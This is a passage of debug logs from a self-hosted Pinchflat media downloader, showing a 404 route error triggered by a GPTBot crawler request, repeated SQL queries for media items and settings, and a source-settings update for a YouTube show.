"GKDiZhRI7hqQzbwAAZaC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5300.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/51/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50696}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/51", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/51/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5300.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/51/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50696}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/51", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5301.0>, params: %{}, path_info: ["sources", "1", "media", "51", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => { (truncated) 23:06:25.243 [debug] HANDLE EVENT "reload_page" in PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"value" => ""} 23:06:25.243 [debug] Replied in 327µs 23:06:25.245 [debug] QUERY OK source="media_items" db=1.3ms queue=0.2ms idle=1178.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:06:25.245 [debug] QUERY OK source="media_items" db=1.7ms queue=0.2ms idle=1178.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:06:25.247 [debug] QUERY OK source="media_items" db=3.9ms queue=0.2ms idle=666.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 23:06:25.248 [debug] QUERY OK source="media_items" db=5.0ms queue=0.1ms idle=179.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 23:06:25.249 [debug] QUERY OK source="media_items" db=3.8ms queue=0.2ms idle=0.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:06:25.249 [debug] QUERY OK source="media_items" db=5.8ms queue=0.1ms idle=179.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 23:06:25.251 [debug] QUERY OK source="media_items" db=3.8ms queue=2.3ms idle=0.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:06:25.252 [debug] QUERY OK source="media_items" db=6.8ms queue=1.5ms idle=0.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 23:06:25.255 [debug] QUERY OK source="media_items" db=6.5ms queue=1.0ms idle=0.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:06:25.256 [debug] QUERY OK source="media_items" db=7.1ms queue=0.4ms idle=0.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:06:25.257 [debug] QUERY OK source="media_items" db=5.5ms queue=2.1ms idle=0.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:06:25.257 [debug] QUERY OK source="media_items" db=4.9ms queue=0.2ms idle=0.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:06:29.019 [info] {"source":"oban","duration":1158,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:06:59.021 [info] {"source":"oban","duration":880,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:00.707 [info] {"source":"oban","duration":233,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:07:02.502 [info] GET /sources/1/edit 23:07:02.502 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 23:07:02.503 [debug] QUERY OK source="sources" db=0.3ms idle=1438.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:07:02.504 [debug] QUERY OK source="media_profiles" db=0.2ms idle=853.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 23:07:02.505 [debug] QUERY OK source="settings" db=0.2ms idle=440.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:07:02.505 [debug] QUERY OK source="settings" db=0.2ms idle=440.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:07:02.506 [debug] QUERY OK source="settings" db=0.2ms idle=441.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:07:02.510 [info] Sent 200 in 8ms 23:07:02.573 [info] CONNECTED TO Phoenix.LiveView.Socket in 49µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "KnMLfG9SIyd9axIjNyQbIRsSPCwcZy5RkC3QXfriM_dVqEsj6UwgP_oi", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 23:07:02.587 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8"} 23:07:02.587 [debug] Replied in 321µs 23:07:06.131 [info] POST /sources/1 23:07:06.131 [debug] Processing with PinchflatWeb.Sources.SourceController.update/2 Parameters: %{"_csrf_token" => "KnMLfG9SIyd9axIjNyQbIRsSPCwcZy5RkC3QXfriM_dVqEsj6UwgP_oi", "_method" => "patch", "download_cutoff_date_preset" => "", "id" => "1", "source" => %{"cookie_behaviour" => "disabled", "custom_name" => "Last Meals", "download_cutoff_date" => "", "download_media" => "true", "fast_index" => "false", "index_frequency_minutes" => "1440", "max_duration_seconds" => "", "media_profile_id" => "1", "min_duration_seconds" => "", "original_url" => "https://www.youtube.com/show/VLPLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN?sbp=KgsxZ2F2RWt4Q3NJSUAB", "output_path_template_override" => "", "retention_period_days" => "", "title_filter_regex" => ""}} Pipelines: [:browser] 23:07:06.132 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=471.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:07:06.133 [info] Sent 302 in 2ms 23:07:06.139 [info] GET /sources/1 23:07:06.140 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 23:07:06.140 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=75.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:07:06.141 [debug] QUERY OK source="media_profiles" db=0.2ms idle=76.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:07:06.142 [debug] QUERY OK source="tasks" db=0.2ms idle=77.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 23:07:06.142 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=77.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [114] 23:07:06.143 [debug] QUERY OK source="settings" db=0.2ms idle=10.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:07:06.143 [debug] QUERY OK source="settings" db=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:07:06.144 [debug] QUERY OK source="settings" db=0.2ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:07:06.146 [debug] QUERY OK source="sources" db=0.2ms idle=3.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:07:06.147 [debug] QUERY OK source="media_items" db=0.4ms idle=4.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 23:07:06.148 [debug] QUERY OK source="media_items" db=1.0ms idle=4.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:07:06.149 [debug] QUERY OK source="sources" db=0.3ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:07:06.150 [debug] QUERY OK source="media_items" db=0.1ms idle=5.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:07:06.150 [debug] QUERY OK source="media_items" db=0.3ms idle=3.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:07:06.151 [debug] QUERY OK source="sources" db=0.0ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", 